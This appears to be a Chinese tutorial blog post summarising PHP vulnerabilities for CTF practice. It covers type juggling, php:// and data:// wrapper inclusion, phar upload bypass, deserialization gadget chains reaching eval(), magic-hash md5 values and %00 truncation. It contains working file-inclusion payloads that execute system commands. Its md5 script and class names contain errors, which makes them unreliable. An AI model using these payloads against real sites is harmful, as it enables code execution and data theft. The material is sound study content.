PHP漏洞总结

基础漏洞、弱类型、伪协议、反序列化

基础知识补漏

php类型转换机制

php是一种弱类型语言,它支持的类型有:

boolean,integer,float,string,array,object,callable,resource,NULL

类型之间转换可能会发生一些有趣的事情,总结如下:

转化成boolean

""(空字符串),"0"(字符串零),0(整型零),0.0(浮点零),array()(空数组),NULL,尚未被赋值的变量,都会被认为是false。
任何资源,NAN,-1,都被认为是true。

字符串转化成数值

如果该字符串没有包含 '.','e' 或 'E' 并且其数字值在整型的范围之内(由 PHP_INT_MAX 所定义),该字符串将被当成 integer 来取值,其它所有情况下都被作为 float 来取值。
字符串的开始部分决定了它的值。
如果该字符串以合法的数值开始,则使用该数值。否则其值为 0(零)。
合法数值由可选的正负号,后面跟着一个或多个数字(可能有小数点),再跟着可选的指数部分。指数部分由 'e' 或 'E' 后面跟着一个或多个数字构成。

php比较机制

"==="和"!=="即strict比较符,只有在类型相同时才相等。
"=="和"!="即non-strict比较符。如果比较的两者类型不同,会在类型转换后进行比较:字符串在与数字比较前会自动转换为数字;两个字符串比较,如果两个都是数字形式,则同时转换为数字进行比较。
一些例子:

0 == "a"
"1" == "01"
"100" == "1e2"
"0E32" == "0e21"

php官网给出了"=="比较的一些例子

php伪协议

php伪协议在ctf中的应用
php伪协议总结

协议有很多种,比如file://,http://,ftp://等等,但有的协议只在php中得到支持,故称伪协议。

php://

用来访问各个输入输出流。

php.ini中有两个相关的设置

  • allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
  • allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
php://input

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。要求allow_url_include = ON

比较特殊的一点,enctype=”multipart/form-data” 的时候 ,php://input 是无效的。

php://filter

常用,任意文件读取,双OFF时可以使用。

用于将读取的数据经过一些过滤器,进行输出。

php://filter 目标使用以下的参数作为它路径的一部分。 一个路径上可以指定很多过滤器,形成一个过滤链。路径是用/作为分隔。

resource=<要过滤的数据流>       这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>           该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>       该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>           任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

举例说明:php://filter/read=string.rot13/resource=xxx 是对xxx这个resource进行rot13字母的操作,再输出。

下面是可转伪协议的字串中直接使用的的一些过滤器函数:

  • 字符串过滤器
string.rot13
string.toupper
string.tolower
string.strip_tags
  • 转换过滤器
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode

data://

需要双ON的时候才可以使用。

将用户输入的信息以流的形式传入,需要allow_url_include = ON。这个协议并非伪协议,可以参考» RFC 2397的格式。

       dataurl    := "data:" [ mediatype ] [ ";base64" ] "," data
       mediatype  := [ type "/" subtype ] *( ";" parameter )
       data       := *urlchar
       parameter  := attribute "=" value

在URL中和在代码中的写法不太一样。URL中的写法示例:data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=,代码中的写法示例:file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=')

下面举例:

  • data:text/plain,...
<?php 
  @include($_GET["file"]);
?>
url: ...?file=data:text/plain,<?php system("net user")?>
result: user information
  • data://text/base64,...
<?php 
  @include($_GET["file"]);
?>
url: ...?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4=
result: user information
  • data://image/jpeg;base64,...
<?php 
  $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata'])); 
?>
图片木马 

phar://及其他压缩协议

这些协议在双off的时候也可以使用。

phar://

phar,官网叫做php归档。实际上这是一个用于解压缩的协议,具体使用方法如下:phar://[待解压缩文件路径+文件名(包含后缀)]/[解压后的文件名称(包含后缀)]

值得注意的是:虽然强制要求必须写上后缀名,但待解压的文件只要文件格式是zip(其他压缩格式有待实验)即可,对后缀名的形式并没有要求。利用这个特性,经常可以进行一些绕过的操作。

例如:

/about.php?file=phar://./images/file.jpg/1.php
[这是把想要上传的php文件打包成了压缩包,又更改成了jpg后缀进行绕过,上传,然后利用phar的解压还原成原来的文件。]
zip://

zip协议和phar非常类似,只不过它的格式有些差别,并且只能解压zip:zip://[待解压缩文件路径+文件名.zip]#[解压后的文件名称(包含后缀)]。在URL中会忽略#号后面的内容,所以要对它进行URL编码:zip://test.zip%23file.txt

bzip2://和zlib://

前者只能解压后缀名为bz2的bzip2文件,后者只能解压后缀名为.gz的文件。用法和上述协议类似,举例如下:

?file=compress.bzip2://[绝对路径]/test.bz2
?file=compress.bzip2://./test.bz2

?file=compress.bzip2://[绝对路径]/test.gz
?file=compress.bzip2://./test.gz

这些不常用的协议可以在常用协议被禁止的时候作为备选项。


反序列化与漏洞

反序列化只是一个特性,真正造成漏洞的是用户可控。通过反序列化这个例子可以体会到一些关于漏洞挖掘的思想。

序列化:对象转化为字符串。反序列化:带有格式的字符串转化成对象。

想要序列化,只要写一个php脚本,模拟要序列化的类即可。在反序列化的过程中,会调用一系列的函数。如果能够利用这些函数或者它们调用的函数,找到这个链条上的危险函数,并且变量可控,即可进行攻击。

魔术函数

常规

  • __construct() 构造函数,对象new(创建)时自动调用

  • __destruct() 析构函数,对象销毁时自动调用

  • __call()是在对象上下文中调用不可访问的方法时触发

  • __callStatic()是在静态上下文中调用不可访问的方法时触发

  • __get()用于从不可访问的属性读取数据

  • __set()用于将数据写入不可访问的属性

  • __isset()在不可访问的属性上调用isset()或empty()触发

  • __unset()在不可访问的属性上使用unset()时触发

对象被销毁的时机:php程序运行结束,或者没有任何变量指向它。 > > 学习链接

__sleep(), __wakeup()

serialize()序列化时,检查类是否有sleep()函数,有则第一个执行。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。

unserialize()被调用时,首先检查wakeup()函数的存在,若存在则调用。该功能可重构对象具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。

利用

举例:

正常程序逻辑是不会触及class2的,但可以通过反序列化来构造:

<?php
class vulclass {
    var $test;
    function __construct() {
        $this->test = new class1();
    }
    function __destruct() {
        $this->test->action();
    }}

class class1 {
    function action() {
        echo "class1";
    }}

class class2 {
    var $test2;
    function action() {
        eval($this->test2);
    }}

$c = new vulcalss();
unserialize($_GET['test']);
?>

可以构造这样的对象,传入参数后就可以执行漏洞函数:

<?php
class vulclass {
    var $test;
    function __construct() {
        $this->test = new ph0en2x();
    }
}
class ph0en2x {
    var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>

很好的文章
第一个
第二个

Bypass

绕过正则匹配

增加一个+号

场景来源:

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 

这个正则表达式检测开头为o或c,接下来是冒号,然后是数字的模式,忽略大小写。使用如下方式可以绕过:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

经过尝试,注意:加号只能在冒号后面添加,其他地方不可以。

具体绕过原理不明。

绕过__wakeup()函数

()自定义反序列化字符串,给出的变量个数小于你定义的个数,就会绕过。 一个实例

Auto Loading

unserialize() 函数只能反序列化在当前程序上下文中已经被定义过的类,传统编程需要很多include和require,后来出现了autooading技术,自动导入使用的类。
还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所以依赖库中定义的类。这样一来 unserialize() 函数也就能使用所有依赖库中的类了,攻击面又增大不少。

  1. Composer配置的依赖库存储在vendor目录下
  2. 如果要使用Composer的自动类加载机制,只需要在php文件的开头加上 require DIR . '/vendor/autoload.php';

漏洞函数

strcmp

在两个字符串相等的时候返回0,该函数不能处理数组,如果传入了数组参数会返回NULL。
根据之前的类型比较,如果比较时使用了strcmp(a,b) == 0,那么(NULL == 0)是true,所以传入数组可以绕过该函数。
防御方法是使用 === 进行严格比较。

in_array和array_search

函数原型:
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
如果strict参数没有提供,in_array就使用==判断$needle是否在$haystack中。
当strict的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array));  //true
var_dump(in_array('1bc', $array));    //true

switch语句

如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。

$i ="1abc";
switch ($i) {
case 0:
case 1:
    echo "i is less than 2 but not negative";
    break;
case 2:
    echo "i is 2";
}

会输出 i is less than 2 but not negative

is_numeric

md5

  • md5(数组)会返回 null (Warning级别)

Warning: md5() expects parameter 1 to be string, array given in /main.php on line 7

  • 0e开头碰撞:根据比较机制的缺陷,使md5值都是0e开头,即可绕过md5(a) == md5(b)这样的条件判断。

示例

0e644c2d05e6d81ff04194145d497c74 1aaabw
0e93fcef5a44bbc455bb54011b8c6b2f 2aaady
0edfb3f3a9ab8d5ae227861e9a44b3e7 3aaacO
0eabd2eeb3b01d5b516a4e5bc51d6a43 4aaaci
0e1e066173172fd0eb55ac92ee4d9254 5aaabd
0e98a9e89b8bf419701c85ec8183247c 6aaabp
0e17990dcefa714d524be3fcab79491c 7aaaad
0e5a9f50d8369a2bbbab1797752111f1 8aaalf
0e2eb438bed241fdb0f6fa0d93ac86c5 9aaaaE

python脚本

import hashlib

ts = "tsctf" #想要开头的字符串
cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def check(plx):
    m = hashlib.md5()
    t = m.update((ts+plx).encode("utf-8")).hexdigest()
    if t.startswith("0e"):
        print(m+" : "m.hexdigest())
        return True
    else:
        return False

# 找不到的话也可以多几个循环嵌套
for x in cs:
    for y in cs:
        if check(x+y):
            print(ts+x+y)
            break
  • md5碰撞:使用fastcoll工具。https://github.com/upbit/clone-fastcoll

%00截断

php版本小于等于5.2.9和magic_quotes_gpc关闭,两个条件都必须满足才能截断。

影响的函数

  • include,include_once,require,require_once
  • file_exists
  • ereg,eregi(正则表达式匹配)
  • file_get_contents

不处理截断的函数

  • strlen

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,905评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,140评论 2 379
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,791评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,483评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,476评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,516评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,905评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,560评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,778评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,557评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,635评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,338评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,925评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,898评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,142评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,818评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,347评论 2 342

推荐阅读更多精彩内容

  • 总结了一些开发中常用的函数: usleep() //函数延迟代码执行若干微秒。 unpack() //函数从二进制...
    ADL2022阅读 453评论 0 3
  • PHP常用函数大全 usleep() 函数延迟代码执行若干微秒。 unpack() 函数从二进制字符串对数据进行解...
    上街买菜丶迷倒老太阅读 1,347评论 0 20
  • Swift1> Swift和OC的区别1.1> Swift没有地址/指针的概念1.2> 泛型1.3> 类型严谨 对...
    cosWriter阅读 11,082评论 1 32
  • # 数组部分 # 1.## array_chunk($arr, $size [, $preserve_key = ...
    clothTiger阅读 1,151评论 0 1
  • 在C语言中,五种基本数据类型存储空间长度的排列顺序是: A)char B)char=int<=float C)ch...
    夏天再来阅读 3,318评论 0 2